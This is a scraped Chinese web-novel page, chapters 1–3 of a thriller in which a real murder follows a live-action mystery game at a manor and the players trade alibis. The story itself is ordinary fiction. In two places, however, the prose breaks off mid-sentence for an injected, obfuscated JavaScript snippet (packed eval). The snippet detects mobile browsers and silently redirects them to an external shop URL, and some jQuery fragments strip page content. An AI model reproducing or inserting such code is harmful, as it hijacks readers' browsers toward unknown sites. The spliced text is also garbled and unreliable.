《逃离惊悚庄园诡异事件》 1. 正版 天终于亮了。 雨后的第一缕阳光投射进房间时,元笑小心翼翼推开柜门。 蜷缩在柜中五个多小时,她的双腿已经麻木,刚落地就像踩着一团棉花,直接摔倒在床边。 元笑爬到窗台边朝外张望,其他同伴已经聚集到大门口。 重力敲击铁门的声音传进房中。 “放我出去,我要找妈妈!” “我有很多钱,只要你放我出去就可以分你一半……不,全都分给你也可以!” “求你了,放我们出去吧……我绝对不会报警的,我什么都不会说的……求你……” 只剩下四个人了。 明明昨晚还有八个的。 就连男友也…… 卧室门外突然传来急促的脚步声,元笑连忙扯开窗帘挡住自己,脊背紧紧贴在冰冷潮湿的墙壁,大气都不敢喘。 “笑笑,是我,我是秦北!”门外人急切道,“开门笑笑!” 元笑踉跄跑去开了门,男友秦北的身影出现时,她仿佛看到了救星,一下子抱住他:“谢天谢地,你没死!” 消失了一晚的秦北说:“我找到了地图,知道逃离这个庄园的办法了!” 昨晚那场大暴雨将后花园变成浅沼泽。 五个人在泥泞的路上走了一圈,抬脚如有千金重。 秦北找了块石头用力地刮去鞋底上的泥土,四下张望,展开地图说:“上面显示洞口就在这里,怎么会没有呢。” “或许是被泥土挡住了,”俞耀星说,“我们分散开找找吧。” 她说着就朝远处走去,陈成医看着她深一脚浅一脚的样子,轻笑一声。 “还说什么大明星,不化妆跟普通人没什么两样啊!之前那么宝贵的高跟鞋,现在成累赘了。” 俞耀星15cm的细高跟鞋扔在不远处,其中一只鞋跟已经摇摇欲坠,沾满了泥土,哪里还像是明星的鞋子。 仅存的几人必须分散开寻找能逃出去的洞口,秦北对女友和一个十几岁的小男孩说: “那我们去另一边,你们两个就在这里找。” “小朋友,你就跟姐姐在这边找。”元笑比划着说,“很大的圆形通道口,能容纳一个人钻进去。找到就能回家见妈妈了。” 五个人分成四队寻找逃生通道,小男孩找了一根树枝,对元笑说:“姐姐,我们要仔细一点,因为我们这里才是最有可能出现逃生通道的。” 元笑惊喜地问:“你发现了什么线索,对吗?” 她丝毫不怀疑这个只有11岁的小孩,因为这孩子是公认的神童孙伶聪。 曾经在电视节目《聪明大脑》里获得了第一名,水平甩了第二名一大截。 孙伶聪指着某处水洼说:“雨水流淌的方向是我们这边,也就是说这片地是倾斜的。” “既然洞口就在花园中,又能被泥沙掩埋,说明洞口本身和地面的高度差不了多少。” 元笑朝其他三人的方向看过去。 秦北和俞耀星站在最高处,所以只有鞋底沾了泥土。 而陈成医的鞋面上也沾上了泥水,他在中高处位置。 只有自己和孙伶聪这边是最低处,泥沙相比较他们也是最多的地方,没过了他们两个的脚腕。 “小心点吧元笑姐姐,”孙伶聪说,“这里泥土松动,如果能掩盖能容纳一个人的洞口,那说明洞口上面会有遮挡。这对我们来说是个陷阱,当心一脚踩空。” 听了孙伶聪的分析,元笑每走一步都试探着重重踩两下,终于在踩到某处时,发现脚下松动,伸手一捞抓起一大把树枝和野草。 与此同时,一个洞口浮现。 …… 这个洞口内部漆黑一片,手电筒光探进去仿佛怪兽的深渊巨口。 秦北眨了眨眼:“谁第一个进去?” 他的寸头立起,身上脸上都有泥渍,堵住洞口的泥土就是他徒手挖出来的。 其他人不约而同后退半步,期盼的目光落在秦北脸上。 尽管有着强烈想要逃离庄园的冲动,但面对洞口里未知的恐惧,谁也不想先迈出第一步。 况且洞口很小,根本无法容纳一个成年人大摇大摆走进去,刚进去就要弯腰,还不知道里面会不会变得更狭窄。 秦北用手电筒划过他们的脸,不悦道:“我女朋友先找到这个洞,我给挖出来,还要我第一个进?” 陈成医轻笑一声:“挖洞谁不会啊,只不过是她找到了洞第一个喊你的名字,被你抢了先。你自己也说了,洞口是你女朋友找到的,和你有什么关系?” “算了秦北,我们两个先下去吧,”元笑握着男友的手,“11个人现在只剩下我们5个了,要是再耽搁下去,明天不知道又会轮到谁……” “元笑说得对。”俞耀星赞同,弯腰捡起高跟鞋,另一只手牵起小男孩,没好气地瞥了眼陈成医,“地图上说这里是出口,那么谁先下去谁就第一个出去。我们出去后马上找到石头堵住洞口!” 陈成医脸上青一阵白一阵,讪笑着打哈哈说:“开个玩笑你们怎么还当真了。” 他从俞耀星手里抢过孙伶聪,紧紧握着他的小手说:“孩子,你就跟叔叔一起走。这大明星手里拿着她的宝贝高跟鞋,紧急关头顾不上你的。” 说完,他扬了扬眉。 只要让这个好控制的小孩跟在身边,就不怕被他们抛弃。 最后关头这群人不会不管这个孩子的。 …… 秦北第一个弯腰钻进洞口,元笑紧随其后。 等俞耀星也进去后,陈成医才带着孙伶聪一起走进漆黑的洞口。 走在最前面的秦北用手电警惕地在管道内壁上扫,身后突然传来沉重的一声闷响! 元笑浑身一抖,紧张地问:“什么声音?” 俞耀星紧张喊道:“怎么了?后面发生什么事了?” 陈成医吞了口唾沫,也用手电扫了扫,只见泥沙封住洞口,只剩下微弱的阳光。 “洞口又被泥沙给堵死了。” 前方的秦北听后皱眉:“如果是泥土的话,不可能发出这么大的声音,听着轰隆轰隆的,像石头。” “难道是有人在外面把洞口堵死了?”陈成医连忙往回跑,洞口果然被岩石堵得死死的。 他骂了一句,喊道:“一定是有人在监视我们,把我们引到这个洞里!这根本不是逃生通道,秦北,你把我害惨了!” 几个人全都回到洞口试图推开沉重的岩石,可却无济于事,岩石纹丝不动。 “既然如此,我们只能继续往里走了。”秦北说。 “要走你走,”陈成医气愤道,“如果不是你弄了个鬼地图,我最起码还能见到阳光!” “与其坐以待毙,不如再探探有没有生路,”望着透过岩石缝隙钻进来的几缕阳光,秦北别开眼沉声道,“走不走随你。” 他们全都离开,陈成医坐不住了,起身跟上:“你们等等我啊!” …… 越往里走洞口越狭窄,俞耀星一不小心撞了头, 元笑拉着她的手,关切道:“还好吗?” “我没事。”掌心糊了一层血,但此刻完全感受不到疼痛。 又走了几步,元笑忽然想起什么,问:“那个小男孩呢?” 陈成医也迷茫道:“对啊,孙伶聪呢?他不是一直跟着我吗?” 话音刚落,一阵诡异的带着童稚的笑声从洞口处传来。 “快点跑呦……十秒之内,我就能追上你们了呦……” 声音管道里被无限放大,听上去尖锐又恐怖。 正是孙伶聪的声音。 秦北很快反应过来,攥住元笑的手疯狂向前跑! 一边跑一边喊:“这小孩就是庄园的主人,他一直在我们之中!” 而此时距离孙伶聪最近的位置,当属最后进洞的陈成医。 他被秦北这一嗓子吼醒,尖叫着向前逃命。 洞口越来越矮,一开始需要弯腰,现在需要膝盖着地,手脚并用才能通过。 “十、九、八……”稚嫩恐怖的童音不急不缓地倒数,声音越来越近。 “啊啊啊救命啊!!” “孙伶聪我们对你不好吗,为什么要这么对我们!” “咯咯咯……追上了呦……” 下一刻,只听陈成医一声惨叫,继而骨骼断裂的声音传来。 声音回荡,即使没看到也能想象出陈成医的惨状。剩下三人变得更加慌乱,手掌磨破也不顾,拼命向前爬。 终于,前方出现曙光,那是洞口的另一头。 元笑激动道:“是出口,秦北!我们能出去了!” 她第一个爬出洞外,来不及呼吸就转身拉秦北,可洞口狭窄,秦北宽厚的肩膀被卡住,他选择退回去让俞耀星先爬出来。 小男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743206|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩的声音越来越近:“三、二……” “怎么办,秦北你快出来!”元笑急的不行,拼命用脚踢周围岩石,可岩石坚硬无比,完全没有松动的迹象。 “笑笑你冷静点听我说,”秦北拉着她的手,往她手里塞了一包东西,艰难地从洞口的缝隙望着她,“拿上这个快走,之后或许能用到,一定要保存好!” 元笑摇头:“先别说这个,你先出来,我们要一起走!” “……他在攻击我。”秦北说这话时已经痛到脸色煞白,咬牙说,“快走!” 已经跑远的俞耀星不要命地返回来,提着元笑的手臂,强行将她带走:“大门马上就要关了,我们快走!” 骨骼断裂的声音传到元笑耳畔,是秦北的。 元笑几乎要将牙齿咬碎,含着眼泪用力向前奔跑。 “前面真是出口!快跑!门要关上了!”俞耀星拉着元笑极速奔跑。 只见一堵缓缓下降的水泥门出现在眼前,前方是他们梦寐以求的庄园之外,有在街道上驰骋的汽车,还有打着遮阳伞的行人。 只要跑出去就能重获自由! 但此刻门与地面只剩下一点宽度,孙伶聪也从洞口爬了出来,开始追击她们。 元笑大喊:“躺着过!” 千钧一发之际,两个人躺在地上靠着单薄的身体,蹭着满是尘土的地面逃出生天。 水泥门沉重地阖上,将孙伶聪彻底隔绝。 灰尘打在元笑脸上,她嘴角洋溢着胜利的喜悦。 起身靠在石门上,拂去脸上的尘土,悲壮的神色即刻转变。 她兴奋道:“剧本上说,只要有一个人逃出来就算胜利,我们逃出来两个人呢!” 俞耀星疲惫地靠过来,笑道:“只有我们俩,那群男人真没用……” 元笑也笑了一声,又说:“也是他们拖住凶手,不然我们都会死在管道里了。” 说完,她摊开手,掌心攥着的是秦北塞给他的道具。 透明包装,里面是橙色粉末,上面写着【橙汁】 黑色小字注释:【此道具为毒死他人的唯一道具,请玩家不要误食,谢谢。】 元笑恍然大悟:“怪不得之前有个线索说,凶手喜欢吃橙子。所以如果我们早就推算出来孙伶聪是凶手,就不用在这个管道里生死时速了。” 草丛后传来脚步声,众人回头,秦北牵着孙伶聪手走过来,顺手弹了他一个脑瓜崩:“你这小屁孩还挺会选剧本,一下子就拿到个最终boss。” 孙伶聪难过地说:“可惜我还是输了。” 俞耀星说:“你已经很厉害了,我们一群成年人差点就被你团灭了!” 秦北脱下外套给元笑擦手上的泥土:“这座庄园可真大啊,我们跑了这么久还在庄园里面。咱回去洗个澡别感冒了,明天就回家了!” …… 元笑先洗了个热水澡,出来见秦北坐在椅子上意犹未尽地看着剧本。 他说:“这个探险主题的剧本杀真好玩,最后下降的石门真把我给吓了一跳,以为出不去要被困在庄园一辈子了!” “需要守着零点抢票的探险当然要好玩了,不然差评得满天飞。”地上一片湿哒哒的泥水,元笑拿走他的剧本,催他,“快去洗澡。” 元笑开始收拾行李,准备明天离开庄园。 整理鞋子时才发现,秦北今天穿的是他最喜欢的一双鞋,可惜已经被泥土搞得惨目忍睹。 元笑喊他:“你的鞋是刷刷还是直接扔了呀?” “……” “秦北,”元笑来到浴室门口,轻轻敲了两下,“那双鞋还要吗?太脏了,要不扔掉吧?” “……” “你睡着了吗?”她敲门的声音重了些,“不要在泡澡的时候睡觉,对身体不好。” 里面一直没有声音,元笑推开一个门缝,只见秦北还穿着沾了泥土的裤子,躺在地上一动不动。 “玩游戏上瘾啦?”她笑了一声,“地上多冷呀,快起来。” 说完就握住他的肩膀,没料到秦北却随着这股轻飘飘的力道翻过身。 一张惨白惊恐的脸猝不及防闯入元笑的视线里。 再往下看,秦北的胸膛插了一把刀,鲜血蔓延整个上半身。 惊悚瞬间将她笼罩,元笑脸色煞白,整个人抖如筛糠。 后退几步跌倒在地。 “啊————!!” 2. 正版 三天前,元笑收到了一封手写邀请函。 【想体验一场精彩绝伦的真人剧本杀吗?史上最神秘的庄园探险,惊悚刺激,险象环生。诚挚邀请陌生的您来到探险庄园。】 元笑感慨现在营销手段越来越卷,手写字看上去就是比印刷字体更真诚。但她对这些并没有兴趣,将邀请函扔到垃圾桶里。 没过一会儿就接到秦北的电话:“笑笑,收到邀请函了吗?” 元笑微怔,看向垃圾桶。 “乌城建了个探险庄园,说是顶级编剧写的真人剧本杀游戏,现在是内测时间,我帮你报名了。” “我还以为是广告呢,”元笑重新捡回那张邀请函,“真人探险?” “对,”秦北兴奋道,“我蹲了两天,0点准时抢了两个号,是不是很厉害?” “厉害厉害,”元笑问他,“每次玩冒险活动都要带我,万一把我吓死了怎么办?” “吓死是不可能的。” “那吓出精神病总可能了吧?” “那我就去考个心理医生证,”秦北哈哈笑,“学着人家催眠,保准把你治好了!” …… 然而谁也没有料到,剧本杀探险结束后,秦北居然死了! 还是被人谋杀的! 元笑这一声尖锐的叫喊,将另外8位参加剧本杀的游客从睡梦中唤醒。 她面色煞白,眼泪如同细雨掉落。头发还没有完全干,行李箱也摊在地上,秦北最爱的那双球鞋摆在一边。 分明再过几个小时,他们就要离开乌城回家的。 度过这个假期就去上大学,等大学毕业后找个工作,稳定之后就会结婚,组建自己的家庭。 可现在,梦想全都破灭了。 所有人都来到她的房间,俞耀星取了一条更厚的浴袍披在她肩膀上,以此来包裹住她颤抖的身体。 “怎么会发生这样的事呢,”俞耀星皱眉,“难道有谁闯进庄园了吗?” “孩子,你有没有丢什么东西?”一个身材丰腴,年过40的女人坐在元笑另一侧。 她叫金兰花,在剧本杀逃亡阶段之前就已经被凶手暗杀,早早结束游戏,因此没有参与水泥管道的逃亡阶段。 元笑缓慢地摇头:“我们几乎没带现金,行李就在那里,什么也没丢。” 又一个穿着西装的男人从门外走进,他是女明星俞耀星的丈夫,娱乐公司总裁顾霆。 俞耀星问:“手机拿出来了吗?” 顾霆摇头:“装着我们手机的箱子不见了。我试着在监控下面挥手对话,可那边完全没有回应。有可能现在时间太晚,那边没有人守着。” 为保证游戏的公平,每一个拿到剧本的玩家都把手机放进了庄园准备好的密封箱里,等待探险结束后自行取出。 这次探险采用的也是录制模式,但现在太晚,摄像头对面的工作人员或许正在休息中。 无人得知他们现在的情况。 陈成医从浴室走出来,摘下口罩和手套说:“可以初步判定为他杀,致命伤就是胸口那把刀。” 俞耀星问:“刀柄上应该可以提取到指纹吧?” “或许吧,所以我没有触碰那把刀,只是简单看了看。”陈成医说,“我只是个普通医生,并不擅长痕检,只能看出这一刀刺得稳准狠,几乎是一刀毙命,完全没给秦北反应的机会。” 元笑能想象到秦北当时的痛苦,她哭出声:“我们没有得罪任何人,是谁要杀秦北!” 沉寂的环境中,只剩下她悲凄的哭声。 一众人都被她的情绪感染,经过几天的相处,他们都知道这对大学生情侣善良热心,人又聪明。 尤其是秦北,几乎是为探险游戏而生,剧本杀大部分疑点都被他找到,思维十分敏捷。 白天回来时还是生龙活虎的,没想到几个小时后就毙命在这里。 这么年轻,真让人惋惜。 顾霆是少数保持理智的人。他握着妻子俞耀星的手给她安慰,说出了自己的想法: “现在联系不上外援,我们必须要保护好自己。我更倾向于凶手来自其他玩家。” 话音刚落,所有人都不寒而栗。 陈成医皱眉:“你说我们?” “没错,”顾霆面色沉重,“走进这座庄园需要用邀请函来刷卡,而拥有邀请函的人只有我们十位。” 他走到窗前,抬手掀开床帘,黑夜里的围墙看上去沉闷又严肃。 “这么高的墙想爬进来不是件容易的事,所以在凶手还没有找到前,每个人都有嫌疑。” 陈成医推了推眼镜,主动说:“听见元笑的叫声时,我刚洗完澡正在看书。元笑本人就可以为我作证。” 说完,他看向元笑。 元笑吸了吸鼻子,点头:“是,那时候秦北刚进浴室,我收拾行李……陈医生敲门来跟我借指甲刀,这么短的时间里,应该不会是他。” 陈成医伸出红肿食指摆在众人面前:“我没能从水泥洞跑出来,手指戳到墙,指甲都劈了!” 顿了一下,又撇撇嘴:“听说秦北死了,你们都吓得不敢过去,是我自告奋勇检查尸体,结果现在被某些人当做嫌疑人了,真是可笑!” “陈医生,请你不要激动,我这样怀疑是有理由的,”顾霆沉声道,“我说的其他玩家自然也包括我自己。秦北确实遭人谋杀,而庄园也确实没有人能走进。” 陈成医一时语塞,因为顾霆从始至终都保持了优雅。 哪怕在睡梦中被惊醒,依旧能换好洁白的衬衫,和颜悦色又有理有据地讲述理由。 这样反倒衬得自己暴躁又虚心。 陈成医别开眼,双手插在口袋里,随便找个位置坐下来:“ok,反正我有元笑做证人,可以证明我没有杀人的时间了。” 俞耀星紧随其后开口:“我应该是最先听见元笑尖叫的人。” 陈成医锐利的眸子马上投射过去:“你们的房间相邻,但我却是第一个进来的。你听见了尖叫声为什么没有第一时间过来?甚至还是别人敲门把你们两个喊出来。” 那时候,俞耀星正坐在床上泡脚。 顾霆把庄园里可采摘的玫瑰花瓣仔细擦好,避免有任何一只小虫掉进去吓到爱人。 她闭上眼睛舒服地享受着,脑海里回忆白日的逃命画面。 这一趟没有白来,她准确找到了探险时的心境,有信心能发挥好接下来要拍摄的恐怖悬疑电影。 这类电影最容易获奖,她幻想未来站在影后的奖台上时,突然听见尖锐的叫声。 …… “我没急着出来的原因是,”俞耀星抿了抿唇,“刚住进来的第一天,秦北就搞恶作剧吓唬过元笑。所以我以为今天也是他们两个的……情趣。没想到……” 陈成医点头:“好,这个理由说得过去。那么你在房间里泡脚,有人能够证明吗?” 俞耀星看向顾霆:“当时我们两个在一起。” “你们两夫妻互相作证可不行。”陈成医说。 俞耀星皱眉:“可我们完全没有杀害秦北的理由啊,这几天我和元笑相处得很好,也没结怨。元笑,你说对不对?” 元笑点头:“是。” 陈成医说:“所以还是没有人能够证明你的说辞,你们两个的嫌疑还在。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743207|189746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说完,不再看俞耀星的表情,又看向其他人:“你们也都说说,在听见尖叫声时,都在做什么?” 11岁的孙伶聪率先开口:“我和阿姨在一起。”他指向角落里那个抱孩子的女人。 在剧本杀中,这个女人因为不会玩,所以第一个被淘汰,也没有机会参与洞中逃命环节。 她的头发衣服上还挂着干涸的新旧奶渍,抱着孩子站在角落里,从始至终没有说过一句话。 陈成医问她:“听见元笑尖叫时,你在做什么?” 女人怯怯地开口:“我……我在哄我女儿睡觉。” 俞耀星问孙伶聪:“小神童,你看见她在哄孩子了?” 孙伶聪点头:“我一直想等妹妹睡醒,把妈妈给我带的奶糖分给她。听到元笑姐姐尖叫时,阿姨刚把门打开,我就站在她房门口,也看见陈叔叔第一个打开门,敲元笑姐姐的房门问发生什么事了。” “那么就是又有两个人给我作证喽。”陈成医微笑,“你们看见我是从自己房间里出去的。” 孙伶聪点头:“没错。” 还剩下三个人没有说话,俞耀星率先把视线落在一个瘦弱的齐刘海,戴着厚厚眼镜的女孩身上。 “你叫……斯文对吧?” 第一天抵达庄园时,除了那个抱着孩子的女人之外,他们都做过自我介绍。 俞耀星擅长记人名,也曾因为记得来接机粉丝的名字而上过热搜。 斯文点头:“对,我叫斯文。” 俞耀星问:“听见元笑尖叫时,你在做什么?” “我并没有听见她在尖叫,”斯文眨了眨眼,“我的房间在最里面,而且当时我带着耳机听歌。后来是顾霆敲门,我才知道发生了这件事。” 陈成医警惕问:“听歌?我们的手机不是都上交了吗?你怎么听歌?” 斯文说:“是我的随身听。” 陈成医:“说说你都听了什么歌?” 斯温一口气说出了好几个歌名,还把随身听拿出来给大家看歌单。 陈成医看后问:“你说的都是前面几首,后面的为什么不说?” “我最近只听上面这几首,因为都是新收藏的,还没有听够,每次都循环播放。” 陈成医盯着她,目光锐利道:“所以你也没有证人能证明。” 斯文眨了眨眼:“没有。” 安静一瞬。 “那么你呢?”陈成医看向另外一个男人,他从被喊过来到现在也和那个抱着孩子的女人一样,一言不发。 陈成医问:“你在做什么?” 男人叫Silas,是个和元笑秦北年龄相仿留学归来的大学生。 一双看上去格外乖巧的双眼,但戴着金丝边框眼镜,介于成熟和幼稚之间。 Silas说:“我在客厅,吃过晚饭后眼睛突然不舒服,就在沙发上休息。” 他的反应跟顾霆相似,可他的年龄却和顾霆差了十几岁。 一个大学生在遭遇杀人事件居然能这么淡定,在陈成医听来甚至有种作案后回到现场的意味。 这个人也是在剧本杀前期出局的。 但不应该啊,Silas这个年纪正是聪明的时期,怎么那么轻易就出局了呢。 陈成医目光锐利盯着众人环视一圈后,说: “现在所有人都已经说出来案发时自己在做什么,除了我和神童,还是有这个抱着孩子的女人能够互相作证,其他人都有嫌疑。” 闻言,元笑也抬眼看向大家,与Silas眼睛对视的一瞬间,突然想起一件事! 她记得这个男生对秦北抱有很大敌意。 3. 正版 前几天,她和秦北一样沉浸在剧本杀世界里。 尽管同游玩家们有几个奇怪的人,但大部分都是很懂规则的,无论是剧情推理,还是探险游戏都进行得很顺利。 也因此忘记了,这个叫Silas的人,似乎一开始就对秦北虎视眈眈。 刚来到庄园时,大家拿到自己的剧本后,先坐在圆桌前做自我介绍。 Silas把双肩包随意扔在沙发上,扯开椅子坐下。 “Hello,我叫Silas,刚从国外回来过暑假的。” 轮到秦北时,其他人认真倾听,脸上挂着和善的微笑。 一个不经意地抬眼,元笑注意到Silas的目光阴沉,仿佛暴风雨预来。 分明之前别人自我介绍时,他的视线都保持着微笑,甚至主动开口问好。可到了秦北,Silas的眼睛微微眯起,像是猎豹出击之前的最后观察。 可惜当时元笑的注意力都被那个抱着孩子的奇怪女人吸引,很快就把Silas忘在脑后,现在想想倒是疑点重重。 元笑问:“第一天见面时,你为什么用带着敌意的眼神看秦北?” 一听这话,众人都屏住呼吸。 “敌意?”Silas一脸疑惑,“我什么时候对他有敌意了?” 元笑起身说:“别人自我介绍时,你的表情都很正常,我看得清清楚楚。” “或许是你误会了,”Silas推了下眼镜,真诚道,“我有干眼症,时不时就会犯。尤其是来到庄园那天,是我回国的第一天,坐了26个小时的飞机,干眼症犯了很正常。” 说着,他从睡衣口袋里拿出一瓶眼药水。 “刚才说了,我因为眼睛不舒服就躺在客厅的沙发上滴眼药水,全程不知道发生了什么,只听到你的尖叫声。” 元笑看着用了小半瓶的眼药水,瓶身上面写着用于改善干眼症。 难道那时候真是自己会错了意,Silas只是眼镜不舒服才显得凉薄? 俞耀星问:“元笑,你不认识Silas,那秦北认不认识?” 元笑摇头:“秦北的朋友我都认识,而且如果秦北认识他的话,也会告诉我的。” “万一他就是没告诉你呢?”陈成医突然开口,“万一秦北和他之间有什么过节,秦北就是不想告诉你呢?” 说完,他拿过那瓶眼药水,打开放在鼻下闻了闻,说:“几乎所有眼药水的瓶身上都会写着用于缓解干眼症,眼疲劳……等等的文字。” “而且现在有人随身带眼药水也不是什么罕见的事情,包括我在内一共有三个人都戴眼镜,”陈成医看向斯文,“你带眼药水了吗?” 斯文点头:“嗯。” “你看,”陈成医摊开手,看着Silas,“一瓶眼药水,并不能解除你的嫌疑。” Silas扁了扁嘴:“事实就是这样。” “那是你认为的事实。”陈成医嘴不饶人。 Silas本来很好的脾气,也被他搅得烦躁,索性耸了耸肩:“如果你们觉得是我,那就是吧。” 话音刚落,陈成医就嗷的一声:“那你承认了!” “你够了吧陈成医,”斯文气不过,推了下眼镜,扬声道,“不就是因为顾霆说每个人都有嫌疑吗,你有必要把每个人都逼到哑口无言吗?” “我这是在推理,”陈成医面不改色地看着斯文,“怎么只有顾霆能推理,能给我定罪吗?” 斯文扬声:“现在我们之中死了一个人,又没有认定你就是凶手,只想推断在事发时大家都在干什么。你现在什么态度,有没有同情心?” 顾霆觉得这个人危险程度极大,于是上前一步。 “陈医生,我的怀疑在合理范围内,并且也没把自己排除。请你态度端正一些,对待女士应该谦让。” “呵!谦让……”陈成医轻笑一声:“我们之中死了个人,怎么你还这么淡定啊?该不会……呵!毕竟秦北身高力壮的,凶手如果没有同伙,还真没办法一击毙命。” 斯文瞪眼反驳:“你说谁是同伙谁是凶手?那你这么破防是不是说明顾霆说对了,你就是凶手!” 陈成医冷笑一声,对斯文说:“我有三个证人,而你们一个也没有,谁最有可能是凶手一目了然。” 又想起了什么,抬了抬眼:“还是说你看上这个国外回来的留学生了,这么在乎他怎么不肯给他作证啊?是怕被我拆穿惹祸上身吗?” 说完,又看向Silas:“所以现在没有人能给你证明你的踪迹,反倒是你自己承认秦北的死和你有关?” Silas已经懒得理他,讽刺地扯了扯嘴角,不看他一眼。 但就在这时,一个女声传来。 “其实,我能证明……” 所有人的目光都看过去。 此人正是坐在元笑另一侧安慰她的中年女人,金兰花。 金兰花说:“我在拿止痛药的时候看见了他,当时我们俩都在大厅里,他闭着眼睛躺在沙发上,我以为他睡着了。” “止痛药?”陈成医皱眉,“你怎么又没参与逃亡过程,没受伤吃什么药?” “我身体不太好,”金兰花从口袋里拿出吃剩下的一板感冒药,“昨晚下雨房间温度有些低,我受凉很快就会头痛,需要吃药。” 这栋庄园设施齐全,庄园的主人也很在意游客体验,除了食物之外,连止痛药都想到备齐。 陈成医马上看向Silas:“她也下来取药你居然不知道?你不是没睡着吗?” Silas自动将他的话过滤。 陈成医瞪眼:“现在是洗清自己的嫌疑,找出真凶的时候,这么不配合,凶手一定是你咯!” 金兰花忙说:“是我下楼时看见他躺在那里,我以为他睡着了,所以放轻了脚步。而且客厅是地毯,他没听见我的脚步声也很正常。” “一点也不正常!”陈成医说。 Silas并没有被吓到,而是用一种极其轻蔑地目光上下睨了陈成医两下,不屑地换了个坐姿。 陈成医恼羞成怒,用力指着他:“我看凶手就是他!你们看他狂的那样!” 说完,又斥责金兰花:“还有你这位大妈,用你出头给他作证啊?你们俩是什么关系?老实说!” 金兰花连连摆手,摇头时脸上的赘肉也在微微晃动:“我们没有任何关系,我只是去拿药看见了他,都没说话啊!” 陈成医:“谁信啊,秦北那么一个大活人,光是靠一人就能把他杀了可不是个简单的事,如果有两个人里应外合,那就顺利多了。” 金兰花皱眉:“你,你怎么能,能胡说八道,你你这个人——” “还是紧张了,不紧张的话结巴什么啊?” 金兰花愠怒道:“你这种人,根本不配当医生!” 顾霆沉声开口,“陈医生,在事情没有水落石出之前,你也别随便给人扣帽子。事关人命,不能这么草率。” 陈成医冷哼一声,不屑道:“你们夫妻俩的嫌疑还没洗干净,当然帮着他们说话了。你巴不得所有人都没有证据证明自己不在场。” 说着,他抬起手,分别指向Silas、顾霆、俞耀星、斯文、金兰花。 “你你你你,还有你,你们几个都有嫌疑。尤其是Silas,你的嫌疑最大。” “你找茬是吧!”斯文瞪着眼睛说,“我们几个也就算了,金阿姨和Silas能互相作证怎么就有嫌疑了?你的作证算数,别人的就不算?那我还说你就是凶手呢!” “大家不要吵了。”顾霆觉得这人攻击性很强,也放弃同他礼貌讲话,别开眼不再理会。 转而问元笑:“你仔细想想,发现秦北死亡之前有没有什么不对劲的地方。” 元笑吸了吸鼻子,又讲述了一遍。 “他去洗澡,我问他的鞋还要不要,那是他最喜欢的一双鞋……可是他不回应,我以为他太累在浴缸里睡着了……” 没说几句就控制不住情绪,抽噎了好几下才继续:“没想到等我一进去,他就……秦北没有什么不对劲的,洗澡之前他一直在回味剧本……在推开门之前,我甚至都没有听见声音……” 同为女人,俞耀星能够感受到元笑的无助。 如果顾霆死在自己面前,她肯定会比元笑更加崩溃。 她轻轻拍元笑的背:“一定还有线索的,等明早有了信号之后我们就可以联系庄园负责人,警察一到什么都水落石出了。” 顾霆垂眸思忖一阵,说:“我觉得今晚我们最好待在一起。” 俞耀星问:“为什么?” “毕竟凶手是我们之中的人可能性很大,我们不知道凶手杀人的动机,也不知道对方会不会选择继续杀人。” 顾霆说:“为了确保大家都活着,也为了确保凶手没有作案的机会,今晚我们就待在一起。” 俞耀星挽住顾霆的手臂,靠在他的肩膀上后怕道:“你说得对,今晚才是最危险的。大家同意我们的说法吗?” 所有人都知道顾霆的身份,娱乐公司总裁,是当之无愧的大人物。 无论身份还是气质,都是这座庄园里最踏实的。 在险境中,大家都不由自主投奔最踏实的那一位。 因此他说完这句话,所有人都站在原地未动,同意他的说法。 只有陈成医缩了缩肩膀,嫌弃道:“要我和你们这些疑似杀人凶手的人待在一起,我真害怕被从后面偷袭。” 顾霆皱眉:“陈医生,请你说话不要这么尖锐。” “我只是把我分析的结果说出来,当然,用词没有你这个商人谨慎,”陈成医坚持自己的意见,“在场的人除了我和你之外,有谁仔细分析大家说的话了?每个人都跟挤牙膏一样问一句答一句。” “既然直言快语成为万人嫌,那我就不分析了,我只自保。”陈成医挥挥手,不耐烦道。 临走前又说:“我回房间就把桌子抵在门边上,连个蚊子也别想进来。明天警察来了,我会第一个告知今晚发生的一切。到时候你可别说警察先生说话尖锐!” 陈成医走了,安静了一会儿,一直抱着孩子的女人也离开房间。 顾霆走到门口观察,这个女人并没有和陈成医为伍,而是回到了她自己的房间。 看来她也不信任其他人。 剩下几人依旧选择留在元笑房间度过今晚,挤在距离浴室最远的一张沙发上。 孙伶聪年纪小,早就困到睁不开眼。 俞耀星拍了拍他的肩膀:“小神童,要不你躺下睡吧。” 孙伶聪打了个哈欠,提议:“我建议大家轮流值守。我们都有嫌疑,可以两两一组,每组值守三小时天就亮了,这样大家都有休息的时间,不至于太累。” 俞耀星先惊讶而后又恍然,称赞他:“真不愧是个小神童!” 说完又思考了下,主动提议:“陈成医说我和我老公也有嫌疑,所以我不和顾霆一组……我和元笑关系也不错,为了避嫌,那我也不和她一组。” 顿了一下,看向孙伶聪:“小神童,那不如就我们两个一组吧!” 孙伶聪点头:“可以。” 剩下四人面面相觑,元笑垂眼,无力道:“我和谁一组都行,反正我也睡不着,就第一个守着大家吧。” 坐在边缘的金兰花举起手:“我也还不困,那你们先休息,我和元笑一组。” Silas说:“我也不困,那我加入你们。” 分组就这样定下来,剩下的斯文和顾霆自动成为一组。 元笑就坐在飘窗上,微风拂过玻璃,她的眼泪缓缓向下流,到下颌处一滴晶莹的泪水滴在浴袍里,消失无踪。 